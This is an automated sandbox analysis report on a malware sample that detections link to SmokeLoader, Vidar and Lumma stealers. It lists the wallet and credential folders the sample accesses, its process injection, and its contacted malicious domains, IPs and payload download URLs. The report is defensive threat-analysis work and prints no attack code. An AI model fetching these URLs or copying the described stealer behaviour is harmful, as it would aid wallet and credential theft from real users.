Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Searches for user specific document files
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Directory queried: C:\Users\user\Documents\NWTVCDUMOB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Directory queried: C:\Users\user\Documents\UMMBDNEQBN Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Directory queried: C:\Users\user\Documents\WUTJSCBCFX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38F9.exe Directory queried: C:\Users\user\Documents\FENIVHOIKN Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000006.00000002.2346667476.0000000000649000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2788838595.0000000000572000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 38F9.exe PID: 7932, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: katB4C0.tmp PID: 4480, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected CryptOne packer
Source: Yara match File source: 0000000A.00000002.2305592154.0000000004379000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: 38F9.exe PID: 7932, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected SmokeLoader
Source: Yara match File source: 00000005.00000002.1969820013.00000000048F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1740978999.00000000049F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.3994237528.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1740710634.0000000002DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.3994385384.0000000002E51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1969780302.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 10.2.D818.exe.4570000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.D818.exe.2560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.D818.exe.4347719.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.D818.exe.2560000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.D818.exe.4347719.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.D818.exe.4570000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.2305592154.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2306037473.0000000004570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2305075541.0000000002560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: D818.exe PID: 7224, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: katB4C0.tmp PID: 4480, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBE0C40 sqlite3_bind_zeroblob, 11_2_6CBE0C40
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBE0D60 sqlite3_bind_parameter_name, 11_2_6CBE0D60
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB08EA0 sqlite3_clear_bindings, 11_2_6CB08EA0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CBE0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob, 11_2_6CBE0B40
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB06410 bind,WSAGetLastError, 11_2_6CB06410
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB060B0 listen,WSAGetLastError, 11_2_6CB060B0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB0C030 sqlite3_bind_parameter_count, 11_2_6CB0C030
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB06070 PR_Listen, 11_2_6CB06070
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB0C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp, 11_2_6CB0C050
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CA922D0 sqlite3_bind_blob, 11_2_6CA922D0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB063C0 PR_Bind, 11_2_6CB063C0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB09480 sqlite3_bind_null, 11_2_6CB09480
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB094F0 sqlite3_bind_text16, 11_2_6CB094F0
Source: C:\Users\user\AppData\Local\Temp\katB4C0.tmp Code function: 11_2_6CB094C0 sqlite3_bind_text, 11_2_6CB094C0
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1447652 Sample: 2.exe Startdate: 26/05/2024 Architecture: WINDOWS Score: 100 61 whispedwoodmoodsksl.shop 2->61 63 steamcommunity.com 2->63 65 dbfhns.in 2->65 89 Snort IDS alert for network traffic 2->89 91 Multi AV Scanner detection for domain / URL 2->91 93 Found malware configuration 2->93 95 15 other signatures 2->95 11 2.exe 2->11         started        14 jssrvvh 2->14         started        16 jssrvvh 2->16         started        signatures3 process4 signatures5 121 Detected unpacking (changes PE section rights) 11->121 123 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 11->123 125 Maps a DLL or memory area into another process 11->125 18 explorer.exe 64 7 11->18 injected 127 Antivirus detection for dropped file 14->127 129 Multi AV Scanner detection for dropped file 14->129 131 Machine Learning detection for dropped file 14->131 133 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 16->133 135 Checks if the current machine is a virtual machine (disk enumeration) 16->135 137 Creates a thread in another existing process (thread injection) 16->137 process6 dnsIp7 67 dbfhns.in 185.18.245.58, 49736, 49737, 49738 UNINETAZ Azerbaijan 18->67 69 23.145.40.124, 49750, 80 SURFAIRWIRELESS-IN-01US Reserved 18->69 71 3 other IPs or domains 18->71 43 C:\Users\user\AppData\Roaming\jssrvvh, PE32 18->43 dropped 45 C:\Users\user\AppData\Local\Temp\D818.exe, PE32 18->45 dropped 47 C:\Users\user\AppData\Local\Temp\38F9.exe, PE32 18->47 dropped 49 C:\Users\user\...\jssrvvh:Zone.Identifier, ASCII 18->49 dropped 97 System process connects to network (likely due to code injection or exploit) 18->97 99 Benign windows process drops PE files 18->99 101 Deletes itself after installation 18->101 103 Hides that the sample has been downloaded from the Internet (zone.identifier) 18->103 23 D818.exe 1 18->23         started        27 38F9.exe 18->27         started        file8 signatures9 process10 dnsIp11 51 C:\Users\user\AppData\Local\...\katB4C0.tmp, PE32 23->51 dropped 105 Machine Learning detection for dropped file 23->105 107 Contains functionality to inject code into remote processes 23->107 109 Writes to foreign memory regions 23->109 117 3 other signatures 23->117 30 katB4C0.tmp 1 45 23->30         started        73 whispedwoodmoodsksl.shop 188.114.96.3, 443, 49744, 49746 CLOUDFLARENETUS European Union 27->73 75 185.235.137.54, 49754, 80 AFRARASAIR Iran (ISLAMIC Republic Of) 27->75 111 Antivirus detection for dropped file 27->111 113 Multi AV Scanner detection for dropped file 27->113 115 Detected unpacking (changes PE section rights) 27->115 119 5 other signatures 27->119 35 WerFault.exe 21 27->35         started        file12 signatures13 process14 dnsIp15 77 steamcommunity.com 23.199.218.33, 443, 49767 AKAMAI-ASUS United States 30->77 79 65.109.242.59, 443, 49768, 49771 ALABANZA-BALTUS United States 30->79 53 C:\Users\user\AppData\...\softokn3[1].dll, PE32 30->53 dropped 55 C:\Users\user\AppData\Local\...\nss3[1].dll, PE32 30->55 dropped 57 C:\Users\user\AppData\...\mozglue[1].dll, PE32 30->57 dropped 59 10 other files (6 malicious) 30->59 dropped 81 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 30->81 83 Found many strings related to Crypto-Wallets (likely being stolen) 30->83 85 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 30->85 87 5 other signatures 30->87 37 cmd.exe 30->37         started        file16 signatures17 process18 process19 39 conhost.exe 37->39         started        41 timeout.exe 37->41         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
23.199.218.33
 steamcommunity.com United States
16625 AKAMAI-ASUS true
23.145.40.124
 unknown Reserved
22631 SURFAIRWIRELESS-IN-01US true
188.114.96.3
 whispedwoodmoodsksl.shop European Union
13335 CLOUDFLARENETUS true
185.18.245.58
 dbfhns.in Azerbaijan
39232 UNINETAZ true
185.235.137.54
 unknown Iran (ISLAMIC Republic Of)
202391 AFRARASAIR false
65.109.242.59
 unknown United States
11022 ALABANZA-BALTUS false
91.202.233.231
 unknown Russian Federation
9009 M247GB true
31.176.197.47
 unknown Bosnia and Herzegowina
9146 BIHNETBIHNETAutonomusSystemBA true
45.129.96.86
 unknown Estonia
208440 GMHOST-EE true

Contacted Domains

Name IP Active
whispedwoodmoodsksl.shop 188.114.96.3 true
steamcommunity.com 23.199.218.33 true
dbfhns.in 185.18.245.58 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
whispedwoodmoodsksl.shop true
  • 17%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://guteyr.cc/tmp/index.php true
  • 13%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
https://65.109.242.59/nss3.dll false
  • Avira URL Cloud: safe
 unknown
https://65.109.242.59/freebl3.dll false
  • Avira URL Cloud: safe
 unknown
http://45.129.96.86/file/update.exe true
  • 20%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
https://steamcommunity.com/profiles/76561199689717899 true
  • 1%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
https://65.109.242.59/mozglue.dll false
  • Avira URL Cloud: safe
 unknown
https://65.109.242.59/vcruntime140.dll false
  • Avira URL Cloud: safe
 unknown